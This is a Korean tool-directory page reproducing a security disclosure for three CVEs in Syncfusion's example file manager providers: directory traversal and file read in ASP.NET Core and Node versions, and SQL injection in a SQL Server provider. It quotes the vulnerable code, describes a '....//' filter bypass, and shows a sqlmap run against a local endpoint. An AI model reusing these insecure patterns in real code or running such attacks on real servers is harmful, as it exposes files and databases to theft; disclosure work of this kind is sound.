Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-26563-26564-26565 — Syncfusion 파일 관리자 제공업체의 로컬 파일 읽기, 디렉토리 트래버설 및 SQL 인젝션 취약점에 대한 세 가지 CVE(2023-26563-26565)의 기술적 공개와 개념 증명 익스플로잇 코드. | Kitploit
도구/GitHubGitHub/rupturainfosec/cve-2023-26563-26564-26565
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingDatabase Security
GitHubrupturainfosec/cve-2023-26563-26564-26565

CVE-2023-26563-26564-26565

Syncfusion 파일 관리자 제공업체의 로컬 파일 읽기, 디렉토리 트래버설 및 SQL 인젝션 취약점에 대한 세 가지 CVE(2023-26563-26565)의 기술적 공개와 개념 증명 익스플로잇 코드.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
11개월 전아직 검토되지 않음

공급업체는 2024년 이후 출시된 릴리스에서 보고된 모든 취약점을 수정했다고 밝혔습니다. Ruptura InfoSecurity는 이러한 수정 사항이 완전한지 확인하지 않았습니다.

공급업체 의견은 https://github.com/RupturaInfoSec/CVE-2023-26563-26564-26565/issues/1에서 확인하세요.

CVE-2023-26563 - ASPCore Filemanager의 로컬 파일 읽기

영향을 받는 저장소: https://github.com/SyncfusionExamples/ej2-aspcore-file-provider/ Git 커밋 7c8791084ff86d4a2c225756c490591f6e011a6c 이전의 취약한 버전

애플리케이션이 사용자가 제공한 경로를 전혀 검증하지 않습니다. 그 결과, 디렉터리 트래버설 시퀀스("../")를 지정하여 모든 디렉터리의 파일을 나열하고, 모든 로컬 파일을 읽고, 서버의 모든 위치에 파일을 업로드하고, 서버의 모든 파일을 삭제할 수 있습니다.

ASP Core 저장소에서 실제 기능의 대부분은 Models/PhysicalFileProvider.cs에 구현되어 있습니다.

다운로드의 경우, names 매개변수가 요청에서 사용자 입력으로 직접 가져옵니다.

root@kitploit:~
        public virtual void Download(string path, string[] names, params FileManagerDirectoryContent[] data)
        {
            try
            {
                string physicalPath = GetPath(path);
                String extension;
                int count = 0;
                ...
                if (names.Length > 1)
                    DownloadZip(path, names);

                if (count == names.Length)
                {
                    DownloadFile(path, names);
                }

이 경로는 Path.combine 함수 내에서 직접 사용됩니다.

root@kitploit:~
protected virtual void DownloadFile(string path, string[] names = null)
{

    if (!string.IsNullOrEmpty(path))
    {
        try
        {
            path = (Path.Combine(contentRootPath + path, names[0]));
            HttpResponse response = HttpContext.Current.Response;
            response.Buffer = true;
            response.Clear();
            response.ContentType = "APPLICATION/octet-stream";
            string extension = System.IO.Path.GetExtension(path);
            response.AddHeader("content-disposition", string.Format("attachment; filename = \"{0}\"", System.IO.Path.GetFileName(path)));
            response.WriteFile(path);
            response.Flush();
            response.End();
        }
        catch (Exception ex) { throw ex; }
    }
    else throw new ArgumentNullException("name should not be null");

}

대부분의 엔드포인트에서 ../를 제거하여 이를 수정하려고 시도했지만, ....//와 같은 것을 사용하면 간단히 우회할 수 있습니다. 이는 .replace("../", "") 후에 원래의 ../가 됩니다.

CVE-2023-26564 - EJ2 Node Filemanager의 로컬 파일 읽기

영향을 받는 저장소: https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem Git 커밋 65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6 이전의 취약한 버전

애플리케이션에 디렉터리 트래버설 시퀀스를 차단하는 정규식이 포함되어 있지만, 이는 가끔만 수행됩니다. 그 결과:

  • Windows에서는 모든 디렉터리의 파일을 나열하고, 모든 로컬 파일을 읽고, 서버의 모든 위치에 파일을 업로드하고, 서버의 모든 파일을 삭제할 수 있습니다.
  • Linux에서는 디렉터리 내의 파일을 나열할 수 없습니다. 그러나 디렉터리를 다운로드할 수 있으므로(ZIP으로 제공됨), 사용자는 디렉터리를 다운로드하여 다른 파일을 나열할 수 있습니다.

노드 저장소에서는 모든 기능이 단일 파일에 제공됩니다: https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem/blob/65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6/filesystem-server.js

파일 다운로드의 경우, 근본 원인은 매우 자명합니다. 애플리케이션이 파일 경로를 연결할 때 사용자 입력을 신뢰하기 때문입니다:

root@kitploit:~
/**
 * Download a file or folder
 */
app.post('/Download', function (req, res) {
    replaceRequestParams(req, res);
    var downloadObj = JSON.parse(req.body.downloadInput);
    var permission; var permissionDenied = false;
    downloadObj.data.forEach(function (item) {
        var filepath = (contentRootPath + item.filterPath).replace(/\\/g, "/");
        permission = getPermission(filepath + item.name, item.name, item.isFile, contentRootPath, item.filterPath);
        if (permission != null && (!permission.read || !permission.download)) {
            permissionDenied = true;
            var errorMsg = new Error();
            errorMsg.message = (permission.message !== "") ? permission.message : getFileName(contentRootPath + item.filterPath + item.name) + " is not accessible. You need permission to perform the download action.";
            errorMsg.code = "401";
            response = { error: errorMsg };
            response = JSON.stringify(response);
            res.setHeader('Content-Type', 'application/json');
            res.json(response);
        }
    });
    if (!permissionDenied) {
        if (downloadObj.names.length === 1 && downloadObj.data[0].isFile) {
            var file = contentRootPath + downloadObj.path + downloadObj.names[0];
            res.download(file);
        } else {
            var archive = archiver('zip', {
                gzip: true,
                zlib: { level: 9 } // Sets the compression level.
            });
            var output = fs.createWriteStream('./Files.zip');
            downloadObj.data.forEach(function (item) {
                archive.on('error', function (err) {
                    throw err;
                });
                if (item.isFile) {
                    archive.file(contentRootPath + item.filterPath + item.name, { name: item.name });
                }
                else {
                    archive.directory(contentRootPath + item.filterPath + item.name + "/", item.name);
                }
            });

CVE-2023-26565 - SQL Server Database File Provider의 SQL 인젝션

영향을 받는 저장소: https://github.com/SyncfusionExamples/sql-server-database-aspcore-file-provider Git 커밋 d671e09d0cfddb8e3c87f172d8a9ca4caf5980a6 이전의 취약한 버전

SQL 서버 저장소에서 실제 기능의 대부분은 Models/SQLFileProvider.cs에 구현되어 있습니다.

SQL 인젝션은 영향을 받는 저장소 내에서 상당히 표준적이고 빈번하며, 간단한 sqlmap 명령으로 악용될 수 있습니다:

root@kitploit:~
sqlmap -u 'http://localhost:9999/api/SQLProvider/SQLGetImage?path=1/&id=9225&time=1680527844871'

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:31:52 /2023-04-03/

[14:31:52] [INFO] testing connection to the target URL
[14:31:52] [INFO] testing if the target URL content is stable
[14:31:53] [INFO] target URL content is stable
[14:31:53] [INFO] testing if GET parameter 'path' is dynamic
[14:31:53] [WARNING] GET parameter 'path' does not appear to be dynamic
[14:31:54] [WARNING] heuristic (basic) test shows that GET parameter 'path' might not be injectable
[14:31:55] [INFO] testing for SQL injection on GET parameter 'path'
[14:31:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:31:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:31:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:31:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:31:58] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:31:58] [INFO] testing 'Generic inline queries'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:31:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:31:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:31:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:31:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:31:59] [INFO] testing 'Oracle AND time-based blind'

it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[14:32:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:32:00] [WARNING] GET parameter 'path' does not seem to be injectable
[14:32:00] [INFO] testing if GET parameter 'id' is dynamic
[14:32:00] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:32:00] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[14:32:01] [INFO] testing for SQL injection on GET parameter 'id'
[14:32:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:32:01] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)

취약한 코드 스니펫 예시:

root@kitploit:~
try
{
    SqlDataReader reader = (new SqlCommand(("select ItemID from " + this.tableName + " where ParentID='" + rootId + "'"), sqlConnection)).ExecuteReader();
    while (reader.Read()) { isRoot = reader["ItemID"].ToString(); }
}
root@kitploit:~
try
{
    SqlDataReader reader = (new SqlCommand(("select ParentID from " + this.tableName + " where ItemID='" + data[0].Id + "'"), sqlConnection)).ExecuteReader();
    while (reader.Read()) { parentID = reader["ParentID"].ToString(); }
}

SQL 인젝션은 사용자 계정에 대해 구성된 권한에 따라 데이터베이스에 대한 전체 읽기 액세스 권한을 얻게 됩니다.

도구 다운로드